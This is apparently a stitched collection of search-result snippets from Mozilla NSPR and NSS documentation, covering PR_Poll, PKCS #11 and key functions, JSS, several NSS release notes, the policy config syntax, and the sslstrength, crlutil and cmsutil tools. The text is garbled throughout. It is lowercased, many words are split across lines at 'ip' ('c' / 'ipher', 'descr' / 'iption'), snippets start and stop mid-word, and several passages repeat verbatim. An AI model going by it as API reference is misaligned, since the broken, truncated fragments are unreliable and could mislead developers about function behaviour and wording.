ip address. this wildcard value is typically used to establish a socket on which to listen for incoming connection requests. pr_
ipaddrloopback assign logical pr_inaddr_loopback. a client can use this value to connect to itself without knowing the host's network address. ...
PR_Poll
syntax #include <prio.h> print32 pr_poll( prpolldesc *pds, printn npds, printervaltime timeout); parameters the function has the following parameters: pds a pointer to the first element of an array of prpolldesc structures. npds the number of elements in the pds array. if this parameter is zero, pr_poll is equivalent to pr_sleep with a timeout. timeout amount of time the call will block waiting for i/o to become ready. if this time expires without any i/o becoming ready, pr_poll returns zero. ...
...thout any i/o becoming ready, pr_poll returns zero. returns the function returns one of these values: if successful, the function returns a positive number indicating the number of prpolldesc structures in pds that have events. the value 0 indicates the function timed out. the value -1 indicates the function failed. the reason for the failure can be obtained by calling pr_geterror. descr
iption this function returns as soon as i/o is ready on one or more of the underlying socket objects. a count of the number of ready descr
iptors is returned unless a timeout occurs, in which case zero is returned. the in_flags field of the prpolldesc data structure should be set to the i/o events (readable, writable, exception, or some combination) that the caller is interested in. on successful r...
...pr_poll uses the out_flags fields as scratch variables during the call. if pr_poll returns 0 or -1, the out_flags fields do not contain meaningful values and must not be used. ...
... print16 out_flags; }; typedef struct prpolldesc prpolldesc; the structure has the following fields: fd a pointer to a prfiledesc object representing a socket or a pollable event. this field can be set to null to indicate to pr_poll that this prfiledesc object should be ignored. on unix, the fd field can be set to a pointer to any prfiledesc object, including one representing a file or a p
ipe. cross-platform applications should only set the fd field to a pointer to a prfiledesc object representing a socket or a pollable event because on windows the select function can only be used with sockets. in_flags a bitwise or of the following bit flags: pr_poll_read: fd is readable. pr_poll_write: fd is writable. pr_poll_except: fd has an exception condition. out_flags a bitwise...
Process Management and Interprocess Communication
this chapter describes the nspr routines that deal with processes. a process is an instance of a program. nspr provides routines to create a new process and to wait for the termination of another process. nspr does not provide an equivalent of the unix fork(). the newly-created process executes its program from the beginning. ...
... program. nspr provides routines to create a new process and to wait for the termination of another process. nspr does not provide an equivalent of the unix fork(). the newly-created process executes its program from the beginning. a new process can inherit specified file descr
iptors from its parent, and the parent can redirect the standard i/o streams of the child process to specified file descr
iptors. note that the functions described in this chapter are not available for macos or win16 operating systems. ...
...r
iptors from its parent, and the parent can redirect the standard i/o streams of the child process to specified file descr
iptors. note that the functions described in this chapter are not available for macos or win16 operating systems. ...
...for macos or win16 operating systems. ...
Cryptography functions
ame/documentation source code nss versions pk11_algtagtomechanism mxr 3.2 and later pk11_authenticate mxr 3.2 and later pk11_blockdata mxr 3.2 and later pk11_changepw mxr 3.2 and later pk11_checkuserpassword mxr 3.2 and later pk11_c
ipherop mxr 3.2 and later pk11_clonecontext mxr 3.2 and later pk11_configurepkcs11 mxr 3.2 and later pk11_convertsessionprivkeytotokenprivkey mxr 3.6 and later pk11_convertsessionsymkeytotokensymkey mxr 3.6 and later pk11_copytokenprivkeytosessionprivkey m...
... pk11_exportencryptedprivatekeyinfo mxr 3.2 and later pk11_exportencryptedprivkeyinfo mxr 3.9 and later pk11_exportprivatekeyinfo mxr 3.2 and later pk11_finalize mxr 3.2 and later pk11_findbestkeamatch mxr 3.2 and later pk11_findcertandkeybyrec
ipientlist mxr 3.2 and later pk11_findcertandkeybyrec
ipientlistnew mxr 3.2 and later pk11_findcertbyissuerandsn mxr 3.2 and later pk11_findcertfromdercert mxr 3.2 and later pk11_findcertfromnickname mxr 3.2 and later pk11_findcertinslot mxr 3.2 and l...
... mxr 3.2 and later pk11_generaterandomonslot mxr 3.11 and later pk11_getalltokens mxr 3.2 and later pk11_getallslotsforcert mxr 3.12 and later pk11_getbestkeylength mxr 3.2 and later pk11_getbestslot mxr 3.2 and later pk11_getbestslotmult
iple mxr 3.2 and later pk11_getbestwrapmechanism mxr 3.2 and later pk11_getblocksize mxr 3.2 and later pk11_getcertfromprivatekey mxr 3.9.3 and later pk11_getcurrentwrapindex mxr 3.2 and later pk11_getdefaultarray mxr 3.8 and later pk...
... 3.2 and later pk11_importprivatekeyinfo mxr 3.2 and later pk11_importprivatekeyinfoandreturnkey mxr 3.4 and later pk11_importpublickey mxr 3.4 and later pk11_importsymkeywithflags mxr 3.4 and later pk11_initpin mxr 3.2 and later pk11_isf
ips mxr 3.2 and later pk11_isdisabled mxr 3.4 and later pk11_isfriendly mxr 3.2 and later pk11_ishw mxr 3.2 and later pk11_isinternal mxr 3.2 and later pk11_ispresent mxr 3.2 and later pk11_isreadonly mxr 3.2 and later ...
JSS
ockets that uses nss's ssl/tls implementation rather than sun's jsse implementation. you might want to use jss's own ssl classes if you want to use some of the capabilities found in nss's ssl/tls library but not found in jsse. nss is the cryptographic module where all cryptographic operations are performed. jss essentially provides a java jni bridge to nss c shared libraries. when nss is put in f
ips mode, jss ensures f
ips compliance by ensuring that all cryptographic operations are performed by the nss cryptographic module. jss offers a jce provider, "mozilla-jss" jca provider notes. jss, jss4.jar, is still built with jdk 1.4.2. while jdk 1.4.2 is eol'd and all new product development should be using the latest javase, legacy business products that must use jdk 1.4 or 1.5 can continue to ...
...pto in java. jss is available under the mozilla public license, the gnu general public license, and the gnu lesser general public license. jss requires nspr and nss. java provides a jce provider called sunpkcs11 (see java pkcs#11 reference guide.) sunpkcs11 can be configured to use the nss module as the crytographic provider. if you are planning to just use jss jce provider as a bridge to nss's f
ips validated pkcs#11 module, then the sunpkcs11 jce provider may do all that you need. note that java 1.5 claimed no f
ips compliance, and java 1.6 or higher needs to be used. a current limitation to the configured sunpkcs11-nss bridge configuration is if you add a pkcs#11 module to the nss database such as for a smartcard, you won't be able to access that smartcard through the sunpkcs11-nss bridge.
... documentation before you use jss, you should have a good understanding of the crypto technologies it uses. you might want to read these documents: introduction to public-key cryptography. explains the basic concepts of public-key cryptography that underlie nss and jss. introduction to ssl. introduces the ssl protocol, including information about cryptographic c
iphers supported by ssl and the steps involved in the ssl handshake. for information on downloading nss releases, see nss sources building testing. read using jss to get you started with development after you've built and downloaded it. release notes 4.3.1 release notes 4.3 release notes older release notes build instructions building jss...
... mailing list newsgroup rss feed related topics security ...
NSS 3.14 release notes
te signatures using the md5 hash algorithm is now disabled by default. the nss license has changed to mpl 2.0. previous releases were released under a mpl 1.1/gpl 2.0/lgpl 2.1 tri-license. for more information about mpl 2.0, please see http://www.mozilla.org/mpl/2.0/faq.html. for an additional explantation on gpl/lgpl compatibility, see security/nss/copying in the source code. export and des c
ipher suites are disabled by default. non-ecc aes and tr
iple des c
ipher suites are enabled by default. nss 3.14 source tarballs can be downloaded from https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_rtm/src/. the cvs tag is nss_3_14_rtm. new in nss 3.14 the sections that follow discuss specific changes in nss 3.14 in more detail. support for tls 1.1 (rfc 4346) has been add...
...erver support has been added in nss 3.14. because the test coverage and interoperability testing is not yet at the same level as other nss code, this feature should be considered "experimental" and may contain bugs. the following functions have been added to the libssl library included in nss 3.14: dtls_importfd (in ssl.h) dtls_gethandshaketimeout (in ssl.h) ssl_getsrtpc
ipher (in ssl.h) ssl_setrtpc
iphers (in ssl.h) support for aes-gcm support for aes-gcm has been added to the nss pkcs #11 module (softoken), based upon the draft 7 of pkcs #11 v2.30. warning: because of ambiguity in the current draft text, applications should only use gcm in single-part mode (c_encrypt/c_decrypt). they should not use multi-part apis (c_encryptupdate/c...
...256_key_derivation ckm_sha384_key_derivation ckm_sha512_key_derivation changes in nss 3.14 bug 333601 - performance enhancements for intel macs when building for intel macs, nss will now take advantage of optimized assembly code for common operations. these changes have the observed effect of doubling rsa performance. bug 792681 - new default c
ipher suites the default c
ipher suites in nss 3.14 have been changed to better reflect the current security landscape. the defaults now better match the set that most major web browsers enable by default. bug 783448 - when performing an ssl renegotiation, the client_version that is sent in the renegotiation clienthello will be set to match the client_version that was sent in the initial cli...
...match the client_version that was sent in the initial clienthello. this is needed for compatibility with iis. certificate signatures that make use of the md5 hash algorithm will now be rejected by default. support for md5 may be manually enabled (but is discouraged) by setting the environment variable of "nss_hash_alg_support=+md5" or by using the nss_setalgorithmpolicy function. note that ssl c
ipher suites with "md5" in their names are not disabled by this change; those c
ipher suites use hmac-md5, not plain md5, and are still considered safe. maximum key sizes for rsa and diffie-hellman keys have been increased to 16k bits. command line utilities tstclnt, strsclnt, and selfserv have changed. the old options to disable ssl 2, ssl 3 and tls 1.0 have been removed and replaced with a new ...
NSS 3.24 release notes
of temporary arenas. new functionality nss softoken has been updated with the latest national institute of standards and technology (nist) guidance (as of 2015): software integrity checks and post functions are executed on shared library load. these checks have been disabled by default, as they can cause a performance regression. to enable these checks, you must define symbol nss_force_f
ips when building nss. counter mode and galois/counter mode (gcm) have checks to prevent counter overflow. additional csps are zeroed in the code. nss softoken uses new guidance for how many rabin-miller tests are needed to verify a prime based on prime size. nss softoken has also been updated to allow nss to run in f
ips level 1 (no password). this mode is triggered by setting the dat...
... galois/counter mode (gcm) have checks to prevent counter overflow. additional csps are zeroed in the code. nss softoken uses new guidance for how many rabin-miller tests are needed to verify a prime based on prime size. nss softoken has also been updated to allow nss to run in f
ips level 1 (no password). this mode is triggered by setting the database password to the empty string. in f
ips mode, you may move from level 1 to level 2 (by setting an appropriate password), but not the reverse. a ssl_configservercert function has been added for configuring ssl/tls server sockets with a certificate and private key. use this new function in place of ssl_configsecureserver, ssl_configsecureserverwithcertchain, ssl_setstapledocspresponses, and ssl_setsignedcerttimestamps. ssl_configserver...
...rtificate, stapled ocsp responses, or signed certificate timestamps (used for certificate transparency). in secport.h portcheaparenapool - a stack-allocated arena pool, to be used for temporary arena allocations. new macros in pkcs11t.h ckm_tls12_mac in secoidt.h sec_oid_tls_ecdhe_psk - this oid governs the use of the tls_ecdhe_psk_with_aes_128_gcm_sha256 c
ipher suite, which is used only for session resumption in tls 1.3. notable changes in nss 3.24 additions, deprecations, and other changes in nss 3.24 are listed below. deprecate the following functions. (applications should instead use the new ssl_configservercert function.) ssl_setstapledocspresponses ssl_setsignedcerttimestamps ssl_configsecureserver ssl_configsecureserve...
...ocspresponses ssl_setsignedcerttimestamps ssl_configsecureserver ssl_configsecureserverwithcertchain deprecate the nss_findcertkeatype function, as it reports a misleading value for certificates that might be used for signing rather than key exchange. update sslauthtype to define a larger number of authentication key types. deprecate the member attribute authalgorithm of type sslc
iphersuiteinfo. instead, applications should use the newly added attribute authtype. rename ssl_auth_rsa to ssl_auth_rsa_decrypt. add a shared library (libfreeblpriv3) on linux platforms that define freebl_lowhash. remove most code related to ssl v2, including the ability to actively send a sslv2-compatible client hello. however, the server-side implementation of the ssl/tls protocol still suppor...
NSS 3.44.1 release notes
distribution information the hg tag is nss_3_44_1_rtm. nss 3.44.1 requires nspr 4.21 or newer. nss 3.44.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_44_1_rtm/src/ other releases are available in nss releases. ...
..._44_1_rtm. nss 3.44.1 requires nspr 4.21 or newer. nss 3.44.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_44_1_rtm/src/ other releases are available in nss releases. ...
...es. ...
...a program linked with older nss 3.x shared libraries will work with nss 3.44.1 shared libraries without recompiling or relinking. fu...
NSS 3.45 release notes
6 will set sslchannelinfo.authkeybits to that of the delegated credential for better policy enforcement. see bug 1563078. bug 1550579 - replace arm32 curve25519 implementation with one from fiat-crypto bug 1551129 - support static linking on windows bug 1552262 - expose a function pk11_findrawcertswithsubject for finding certificates with a given subject on a given slot bug 1546229 - add
ipsec ike support to softoken bug 1554616 - add support for the elbrus lcc compiler (<=1.23) bug 1543874 - expose an external clock for ssl this adds new experimental functions: ssl_settimefunc, ssl_createantireplaycontext, ssl_setantireplaycontext, and ssl_releaseantireplaycontext. the experimental function ssl_initantireplay is removed. bug 1546477 - various changes in response to...
...t to softoken bug 1554616 - add support for the elbrus lcc compiler (<=1.23) bug 1543874 - expose an external clock for ssl this adds new experimental functions: ssl_settimefunc, ssl_createantireplaycontext, ssl_setantireplaycontext, and ssl_releaseantireplaycontext. the experimental function ssl_initantireplay is removed. bug 1546477 - various changes in response to the ongoing f
ips review note: the source package size has increased substantially due to the new f
ips test vectors. this will likely prompt follow-on work, but please accept our apologies in the meantime. certificate authority changes the following ca certificates were removed: bug 1552374 - cn = certinomis - root ca sha-256 fingerprint: 2a99f5bc1174b73cbb1d620884e01c34e51ccb397...
...rs. this will likely prompt follow-on work, but please accept our apologies in the meantime. ...
...a20poly1305 should no longer modify output length on failure bug 1549382 - don't leak in pkcs#11 modules if c_getslotinfo() returns error bug 1551041 - fix builds using gcc < 4.3 on big-endian architectures bug 1554659 - add versioning to openbsd builds to fix link time errors using nss bug 1553443 - send session ticket only after handshake is marked as finished bug 1550708 - fix gyp scr
ipts on solaris sparc so that libfreebl_64fpu_3.so builds bug 1554336 - optimize away unneeded loop in mpi.c bug 1559906 - f
ipstest: use ckm_tls12_master_key_derive instead of vendor specific mechanism bug 1558126 - tls_aes_256_gcm_sha384 should be marked as f
ips compatible bug 1555207 - helloretryrequestcallback return code for rejecting 0-rtt bug 1556591 - eliminate races in uses of pk11_setw...
NSS Config Options
nss config options format the specified c
iphers will be allowed by policy, but an application may allow more by policy explicitly: config="allow=curve1:curve2:hash1:hash2:rsa-1024..." only the specified hashes and curves will be allowed: config="disallow=all allow=sha1:sha256:secp256r1:secp384r1" only the specified hashes and curves will be allowed, and rsa keys of 2048 or more will be accepted, and dh key exchange with 1024-bit primes or more: config="disallow=all allow=sha1:sha256:secp256r1:secp384r1:min-rsa=2048:min-dh=1024" a policy that enables the aes c
iphersuites and the secp256/384 curves: config="allow=aes128-cbc:aes128-gcm::hmac-sha1:sha1:sha256:sha384:rsa:ecdhe-rsa:secp256r1:secp384r1" turn off md5 config="disallow=md5" turn off md5 and sha1 only for ssl co...
...the secp256/384 curves: config="allow=aes128-cbc:aes128-gcm::hmac-sha1:sha1:sha256:sha384:rsa:ecdhe-rsa:secp256r1:secp384r1" turn off md5 config="disallow=md5" turn off md5 and sha1 only for ssl config="disallow=md5(ssl):sha1(ssl)" disallow values are parsed first, and then allow values, independent of the order in which they appear. future key words (not yet implemented): enable: turn on c
iphersuites by default. disable: turn off c
iphersuites by default without disallowing them by policy. flags: turn on the following flags: ssl-lock: turn off the ability for applications to change policy with the ssl_setc
ipherpolicy (or ssl_setpolicy). policy-lock: turn off the ability for applications to change policy with the call nss_setalgorithmpolicy. ...
...out disallowing them by policy. flags: turn on the following flags: ssl-lock: turn off the ability for applications to change policy with the ssl_setc
ipherpolicy (or ssl_setpolicy). policy-lock: turn off the ability for applications to change policy with the call nss_setalgorithmpolicy. ssl-default-lock: turn off the ability for applications to change c
ipher suite states with ssl_enablec
ipher, ssl_disablec
ipher. ecc curves prime192v1 prime192v2 prime192v3 prime239v1 prime239v2 prime239v3 prime256v1 secp112r1 secp112r2 secp128r1 secp128r2 secp160k1 secp160r1 secp160r2 secp192k1 secp192r1 secp224k1 secp256k1 secp256r1 secp384r1 secp521r1 c2pnb163v1 c2pnb163v2 c2pnb163v3 c2pnb176v1 c2tnb191v1 c2tnb191...
...2pnb272w1 c2pnb304w1 c2tnb359v1 c2pnb368w1 c2tnb431r1 sect113r1 sect131r1 sect131r1 sect131r2 sect163k1 sect163r1 sect163r2 sect193r1 sect193r2 sect233k1 sect233r1 sect239k1 sect283k1 sect283r1 sect409k1 sect409r1 sect571k1 sect571r1 hashes md2 md4 md5 sha1 sha224 sha256 sha384 sha512 macs hmac-sha1 hmac-sha224 hmac-sha256 hmac-sha384 hmac-sha512 hmac-md5 c
iphers aes128-cbc aes192-cbc aes256-cbc aes128-gcm aes192-gcm aes256-gcm camellia128-cbc camellia192-cbc camellia256-cbc seed-cbc des-ede3-cbc des-40-cbc des-cbc null-c
ipher rc2 rc4 idea ssl key exchanges rsa rsa-export dhe-rsa dhe-dss dh-rsa dh-dss ecdhe-ecdsa ecdhe-rsa ecdh-ecdsa ecdh-rsa restrictions for asymmetric keys (integers) rsa-min dh-min dsa-min constraint...
NSS Tools sslstrength
sslstrength summary a simple command-line client which connects to an ssl-server, and reports back the encryption c
ipher and strength used. synopsis 1) sslstrength c
iphers 2) sslstrength hostname[:port] [c
iphers=xyz] [debug] [verbose] [policy=export|domestic] descr
iption the first form simple lists out the possible c
iphers. the letter in the first column of the output is used to identify the c
ipher preferences in the c
iphers= command. the second form attempts to connect to the named ssl host. the hostname argument must be present. however, the port number is an optional argument, and if not given, will default to the https port (443). restricting c
iphers by default, sslstrength assumes that all the preferences are on, so it will use any preferences in your policy. the enabled ...
... the c
ipher preferences in the c
iphers= command. the second form attempts to connect to the named ssl host. the hostname argument must be present. however, the port number is an optional argument, and if not given, will default to the https port (443). restricting c
iphers by default, sslstrength assumes that all the preferences are on, so it will use any preferences in your policy. the enabled c
iphersuites will always be printed out before the connection is made. if you want to test out a particular c
ipher, there are two ways to affect which c
iphers are available. firstly, you can set policy to be either domestic or export. this restricts the available c
iphers to the same set used by communicator. ...
... on, so it will use any preferences in your policy. the enabled c
iphersuites will always be printed out before the connection is made. if you want to test out a particular c
ipher, there are two ways to affect which c
iphers are available. firstly, you can set policy to be either domestic or export. this restricts the available c
iphers to the same set used by communicator. in addition to this, the c
iphers command can be used to further restrict the c
iphers available. the argument to the c
iphers command is a string of characters, where each single character represents a c
ipher. you can obtain this list of character->c
ipher mappings by doing 'sslstrength c
iphers'. for example, c
iphers=bfi will turn on these c
ipher preferences and turn off all others. policy=export or policy=domestic will...
...this is only done in 'export mode', with servers with a special certificate. you can tell if you stepped-up, because the output will says 'using export policy', and you'll find the secret key size was 128-bits. prerequisites you should have a cert7.db in the directory in which you run sslstrength. ...
FC_GetInfo
name fc_getinfo - return general information about the pkcs #11 library. syntax ck_rv fc_getinfo(ck_info_ptr pinfo); parameters fc_getinfo has one parameter: pinfo points to a ck_info structure descr
iption fc_getinfo returns general information about the pkcs #11 library. on return, the ck_info structure that pinfo points to has the following information: cryptokiversion: pkcs #11 interface version number implemented by the pkcs #11 library. the version is 2.20 (major=0x02, minor=0x14). ...
... library. on return, the ck_info structure that pinfo points to has the following information: cryptokiversion: pkcs #11 interface version number implemented by the pkcs #11 library. the version is 2.20 (major=0x02, minor=0x14). manufacturerid: the pkcs #11 library manufacturer, "mozilla foundation", padded with spaces to 32 characters and not null-terminated. flags: should be 0. librarydescr
iption: descr
iption of the library, "nss internal crypto services", padded with spaces to 32 characters and not null-terminated. libraryversion: pkcs #11 library version number, for example, 3.11 (major=0x03, minor=0x0b). a user may call fc_getinfo without logging into the token (to assume the nss user role). return value fc_getinfo always returns ckr_ok. fc_getinfo should return ckr_argument...
...nor=0x0b). a user may call fc_getinfo without logging into the token (to assume the nss user role). return value fc_getinfo always returns ckr_ok. fc_getinfo should return ckr_arguments_bad if pinfo is null. fc_getinfo should return ckr_cryptoki_not_initialized if the library is not initialized. examples note the use of the %.32s format string to print the manufacturerid and librarydescr
iption members of the ck_info structure. #include <assert.h> #include <stdio.h> ck_function_list_ptr pfunctionlist; ck_rv crv; ck_info info; crv = fc_getfunctionlist(&pfunctionlist); assert(crv == ckr_ok); ... /* invoke fc_getinfo as pfunctionlist->c_getinfo */ crv = pfunctionlist->c_getinfo(&info); assert(crv == ckr_ok); printf("general information about the pkcs #11 library:\n"); printf(" ...
...info as pfunctionlist->c_getinfo */ crv = pfunctionlist->c_getinfo(&info); assert(crv == ckr_ok); printf("general information about the pkcs #11 library:\n"); printf(" pkcs #11 version: %d.%d\n", (int)info.cryptokiversion.major, (int)info.cryptokiversion.minor); printf(" manufacturer id: %.32s\n", info.manufacturerid); printf(" flags: 0x%08lx\n", info.flags); printf(" library descr
iption: %.32s\n", info.librarydescr
iption); printf(" library version: %d.%d\n", (int)info.libraryversion.major, (int)info.libraryversion.minor); printf("\n"); see also nsc_getinfo ...
FC_Initialize
the pinitargs argument must point to a ck_c_initialize_args structure whose members should have the following values: createmutex should be null. destroymutex should be null. ...
...the pinitargs argument must point to a ck_c_initialize_args structure whose members should have the following values: createmutex should be null. destroymutex should be null. ...
...the pinitargs argument must point to a ck_c_initialize_args structure whose members should have the following values: createmutex should be null. destroymutex should be null. ...
... databases: "configdir='' certprefix='' keyprefix='' secmod='' flags=readonly,nocertdb,nomod db,forceopen,optimizespace " mozilla firefox initializes nss with this string (on windows): "configdir='c:\\documents and settings\\wtc\\application data\\mozilla\\firefox\\profiles\\default.7tt' certprefix='' keyprefix='' secmod='secmod.db' flags=optimizespace manufacturerid='mozilla.org' librarydescr
iption='psm internal crypto services' cryptotokendescr
iption='generic crypto services' dbtokendescr
iption='software security device' cryptoslotdescr
iption='psm internal cryptographic services' dbslotdescr
iption='psm private keys' f
ipsslotdescr
iption='psm internal f
ips-140-1 cryptographic services' f
ipstokendescr
iption='psm f
ips-140-1 user private key services' minps=0" see pkcs #11 module specs for...
NSS Key Functions
seckeykeydbhandle returns a handle to the key database opened by nss_init. ...
... this was converted from "chapter 6: key functions". back to the nss reference main page. seckey_getdefaultkeydb seckey_destroyprivatekey seckey_getdefaultkeydb returns a handle to the default key database opened by nss_init. syntax include <key.h> include <keyt.h> seckeykeydbhandle *seckey_getdefaultkeydb(void); returns the function returns a handle of type seckeykeydbhandle. descr
iption nss_init opens the certificate, key, and security module databases that you specify for use with nss. seckeykeydbhandle returns a handle to the key database opened by nss_init. seckey_destroyprivatekey destroys a private key structure. syntax include <key.h> include <keyt.h> void seckey_destroyprivatekey(seckeyprivatekey *key); parameter this function has the following parameter: key a...
...module databases that you specify for use with nss. seckeykeydbhandle returns a handle to the key database opened by nss_init. seckey_destroyprivatekey destroys a private key structure. syntax include <key.h> include <keyt.h> void seckey_destroyprivatekey(seckeyprivatekey *key); parameter this function has the following parameter: key a pointer to the private key structure to destroy. descr
iption certificate and key structures are shared objects. when an application makes a copy of a particular certificate or key structure that already exists in memory, ssl makes a shallow copy--that is, it increments the reference count for that object rather than making a whole new copy. when you call cert_destroycertificate or seckey_destroyprivatekey, the function decrements the reference count an...
... makes a shallow copy--that is, it increments the reference count for that object rather than making a whole new copy. when you call cert_destroycertificate or seckey_destroyprivatekey, the function decrements the reference count and, if the reference count reaches zero as a result, both frees the memory and sets all the bits to zero. the use of the word "destroy" in function names or in the descr
iption of a function implies reference counting. never alter the contents of a certificate or key structure. if you attempt to do so, the change affects all the shallow copies of that structure and can cause severe problems. ...
NSS tools : crlutil
name crlutil -- list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl. synopsis crlutil [options] [[arguments]] status this documentation is still work in progress. please contribute to the initial review in mozilla nss bug 836477[1] descr
iption the certificate revocation list (crl) management tool, crlutil, is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl. the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see c...
...a signature checks. -p dbprefix specify the prefix used on the nss security database files (for example, my_cert8.db and my_key3.db). this option is provided as a special case. changing the names of the certificate and key databases is not recommended. -a use ascii format or allow the use of ascii format for input and output. this formatting follows rfc #1113. -c crl-gen-file specify scr
ipt file that will be used to control crl generation/modification. see crl-cr
ipt-file format below. if options -m|-g is used and -c crl-scr
ipt-file is not specified, crlutil will read scr
ipt data from standard input. -d directory specify the database directory containing the certificate and key database files. on unix the certificate database tool defaults to $home/.netscape (that is, ~/.nets...
... it contains spaces. -o output-file specify the output file name for new crl. bracket the output-file string with quotation marks if it contains spaces. if this argument is not used the output destination defaults to standard output. -t crl-type specify type of crl. possible types are: 0 - sec_krl_type, 1 - sec_crl_type. this option is obsolete -u url specify the url. crl generation scr
ipt syntax crl generation scr
ipt file has the following syntax: * line with comments should have # as a first symbol of a line * set "this update" or "next update" crl fields: update=yyyymmddhhmmssz nextupdate=yyyymmddhhmmssz field "next update" is optional. time should be in generalizedtime format (yyyymmddhhmmssz). for example: 20050204153000z * add an extension to a crl or a crl certificat...
...critical or 0 otherwise. key-id: key identifier represented in octet string. dn:: is a ca distinguished name cert-serial: authority certificate serial number. * add issuer alternative name extension: the issuer alternative names extension allows additional identities to be associated with the issuer of the crl. defined options include an rfc822 name (electronic mail address), a dns name, an
ip address, and a uri. issueraltnames non-critical name-list where: subjaltnames: identifies the name of an extension should be set to 0 since this is non-critical extension name-list: comma separated list of names * add crl number extension: the crl number is a non-critical crl extension which conveys a monotonically increasing sequence number for a given crl scope and crl issuer. this exte...
sslintro.html
l it only once. required. ssl_optionsetdefault. changes default values for all subsequently opened sockets as long as the application is running (compare with ssl_seturl which only configures the socket that is currently open). this function must be called once for each default value that needs to be changed. optional. nss_setdomesticpolicy, nss_setexportpolicy, nss_setfrancepolicy, or ssl_c
ipherpolicyset. these functions tell the library which c
ipher suites are permitted by policy (for example, to comply with export restrictions). c
ipher suites disabled by policy cannot be enabled by user preference. one of these functions must be called before any cryptographic operations can be performed with nss. ssl_c
ipherprefsetdefault. enables all c
iphers chosen by user preference. optional. ...
...nt: pr_newtcpsocket. opens a new socket. a legal nspr socket is required to be passed to ssl_importfd, whether it is created with this function or by another method. ssl_importfd. makes an nspr socket into an ssl socket. required. brings an ordinary nspr socket into the ssl library, returning a new nspr socket that can be used to make ssl calls. ...
... configuration functions control the configuration of an individual socket. pr_getsocketoption. retrieves the socket options currently set for a specified socket. optional. ...
... configuration functions control the configuration of an individual socket. pr_getsocketoption. ...
sslkey.html
this page is part of the ssl reference that we are migrating into the format described in the mdn style guide. if you are inclined to help with this migration, your help would be very much appreciated. upgraded documentation may be found in the current nss reference key functions chapter 6 key functions this chapter describes two functions used to man
ipulate private keys and key databases such as the key3.db database provided with communicator. seckey_getdefaultkeydb seckey_destroyprivatekey seckey_getdefaultkeydb returns a handle to the default key database opened by nss_init. syntax #include <key.h> #include <keyt.h> seckeykeydbhandle *seckey_getdefaultkeydb(void); returns the function returns a handle of type seckeykeydbhandle. ...
...ivate keys and key databases such as the key3.db database provided with communicator. seckey_getdefaultkeydb seckey_destroyprivatekey seckey_getdefaultkeydb returns a handle to the default key database opened by nss_init. syntax #include <key.h> #include <keyt.h> seckeykeydbhandle *seckey_getdefaultkeydb(void); returns the function returns a handle of type seckeykeydbhandle. descr
iption nss_init opens the certificate, key, and security module databases that you specify for use with nss. seckeykeydbhandle returns a handle to the key database opened by nss_init. seckey_destroyprivatekey destroys a private key structure. syntax #include <key.h> #include <keyt.h> void seckey_destroyprivatekey(seckeyprivatekey *key); parameter this function has the following paramet...
...rns a handle to the key database opened by nss_init. seckey_destroyprivatekey destroys a private key structure. syntax #include <key.h> #include <keyt.h> void seckey_destroyprivatekey(seckeyprivatekey *key); parameter this function has the following parameter: key a pointer to the private key structure to destroy. descr
iption certificate and key structures are shared objects. when an application makes a copy of a particular certificate or key structure that already exists in memory, ssl makes a shallow copy--that is, it increments the reference count for that object rather than making a whole new copy. when you call cert_destroycertificate or seckey_destroyprivatekey, the function decrements the reference count ...
... makes a shallow copy--that is, it increments the reference count for that object rather than making a whole new copy. when you call cert_destroycertificate or seckey_destroyprivatekey, the function decrements the reference count and, if the reference count reaches zero as a result, both frees the memory and sets all the bits to zero. the use of the word "destroy" in function names or in the descr
iption of a function implies reference counting. never alter the contents of a certificate or key structure. if you attempt to do so, the change affects all the shallow copies of that structure and can cause severe problems. ...
NSS Tools sslstrength
sslstrength summary a simple command-line client which connects to an ssl-server, and reports back the encryption c
ipher and strength used. synopsis 1) sslstrength c
iphers 2) sslstrength hostname[:port] [c
iphers=xyz] [debug] [verbose] [policy=export|domestic] descr
iption the first form simple lists out the possible c
iphers. the letter in the first column of the output is used to identify the c
ipher preferences in the c
iphers= command. the second form attempts to connect to the named ssl host. the hostname argument must be present. however, the port number is an optional argument, and if not given, will default to the https port (443). ...
...c] descr
iption the first form simple lists out the possible c
iphers. the letter in the first column of the output is used to identify the c
ipher preferences in the c
iphers= command. the second form attempts to connect to the named ssl host. the hostname argument must be present. however, the port number is an optional argument, and if not given, will default to the https port (443). restricting c
iphers by default, sslstrength assumes that all the preferences are on, so it will use any preferences in your policy. the enabled c
iphersuites will always be printed out before the connection is made. if you want to test out a particular c
ipher, there are two ways to affect which c
iphers are available. firstly, you can set policy to be either domestic or export. ...
...ng c
iphers by default, sslstrength assumes that all the preferences are on, so it will use any preferences in your policy. the enabled c
iphersuites will always be printed out before the connection is made. if you want to test out a particular c
ipher, there are two ways to affect which c
iphers are available. firstly, you can set policy to be either domestic or export. this restricts the available c
iphers to the same set used by communicator. in addition to this, the c
iphers command can be used to further restrict the c
iphers available. the argument to the c
iphers command is a string of characters, where each single character represents a c
ipher. you can obtain this list of character->c
ipher mappings by doing 'sslstrength c
iphers'. ...
... or export. this restricts the available c
iphers to the same set used by communicator. in addition to this, the c
iphers command can be used to further restrict the c
iphers available. the argument to the c
iphers command is a string of characters, where each single character represents a c
ipher. you can obtain this list of character->c
ipher mappings by doing 'sslstrength c
iphers'. for example, c
iphers=bfi will turn on these c
ipher preferences and turn off all others. policy=export or policy=domestic will set your policies appropriately. policy will default to domestic if not specified. step-up step up is a mode where the connection starts out with 40-bit encryption, but due to a 'change-c
ipher-spec' handshake, changes to 128-bit encryption. this is only done in 'export mode', w...
NSS tools : cmsutil
to run cmsutil, type the command cmsutil option [arguments] where option and arguments are combinations of the options and arguments listed in the following section. each command takes one option. ...
...create a certificates-only message. -s sign a message. arguments option arguments modify an action and are lowercase. -c content use this detached content (decode only). -d dbdir specify the key/certificate database directory (default is ".") -e envfile specify a file containing an enveloped message for a set of rec
ipients to which you would like to send an encrypted message. if this is the first encrypted message for that set of rec
ipients, a new enveloped message will be created that you can then use for future messages (encrypt only). -g include a signing time attribute (sign only). -h num generate email headers with info about cms message (de...
